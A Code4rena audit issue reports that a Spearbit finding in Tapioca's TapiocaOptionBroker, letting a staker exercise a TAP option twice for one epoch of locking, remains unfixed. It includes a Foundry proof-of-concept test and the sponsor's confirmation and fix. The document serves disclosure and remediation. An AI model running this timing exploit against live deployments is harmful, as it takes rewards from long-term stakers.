code-423n4 / 2024-02-tapioca-findings

1 stars 1 forks source link

Spearbit finding 5.2.2 not fixed #175

Open c4-bot-6 opened 4 months ago

c4-bot-6 commented 4 months ago

Lines of code

https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/options/TapiocaOptionBroker.sol#L408-L414 https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/options/TapiocaOptionBroker.sol#L292-L298

Vulnerability details

Description

The Spearbit finding "5.2.2 It is possible to exercise TAP option an extra time compared to lock duration" is not fixed. The finding itself is a follow up on the C4 finding #189. The description of the issue can be found in the Spearbit report.

The mitigation introduced in the PR seems lost in the code base at audit here.

Impact

Quoting the impact from the Spearbit report:

Attacker has removed one epoch of rewards from the long term stakers, receiving 2 tapOFT payoffs for 1 epoch long staking. More generally, an attacker can add 1 epoch of option rewards in excess to their actual locking time (as epsilon can be made minutes long and not significant position locking wise). This is a violation of base protocol token economy:

Lenders with active oTAP positions will receive oTAP shares from the DSO program every week that their position remains locked, proportional to their positions share of the total supplied locked liquidity in the respective market

Proof of Concept

Test showing the issue is still there in tap-token/test/OptionTest.t.sol:

    function testExerciseOptionTwice() public {
        pearlmit.approve(address(yieldbox), 1, address(tOLP), type(uint200).max, type(uint48).max);
        paymentToken.mint(address(this),1000e18);
        paymentToken.approve(address(pearlmit),type(uint256).max);
        pearlmit.approve(address(paymentToken), 0, address(tOB), type(uint200).max, type(uint48).max);

        // epoch timestamps
        uint256 epoch2 = block.timestamp + 7 days;
        uint256 epoch3 = epoch2 + 7 days;

        // step 1 participate right before end of epoch
        vm.warp(epoch2 - 5 minutes);

        uint256 tOLPId = tOLP.lock({
            _to: address(this),
            _singularity: IERC20(singularity), 
            _lockDuration: 7 days + 10 minutes,
            _ybShares: 1e18
        });

        tOLP.approve(address(pearlmit), tOLPId);
        pearlmit.approve(address(tOLP), tOLPId, address(tOB), 1, type(uint48).max);
        tOB.participate(tOLPId);

        // epoch changes
        vm.warp(epoch2);
        tOB.newEpoch();

        // step 2 right as you can, exercise first option
        vm.warp(epoch3 - 5 minutes);     
        tOB.exerciseOption(tOLPId, paymentToken, 0);

        vm.warp(epoch3);
        tOB.newEpoch();

        // step 3 just after epoch 3 trigger, collect 2nd option
        vm.warp(epoch3 + 10 minutes);
        tOB.exerciseOption(tOLPId, paymentToken, 0);

        oTAP.approve(address(tOB), tOLPId);
        tOB.exitPosition(tOLPId);
        tOLP.unlock(tOLPId,IERC20(singularity),address(this));
    }

The full test file with setup can be found here

Tools Used

Manual audit

Recommended Mitigation Steps

Consider re-applying the same fix that was acknowledged in the Spearbit audit.

Assessed type

Timing

c4-judge commented 3 months ago

dmvt marked the issue as primary issue

c4-sponsor commented 3 months ago

0xRektora (sponsor) confirmed

cryptotechmaker commented 3 months ago

Fixed by https://github.com/Tapioca-DAO/tap-token/pull/174

c4-judge commented 3 months ago

dmvt marked the issue as satisfactory

c4-judge commented 3 months ago

dmvt marked the issue as selected for report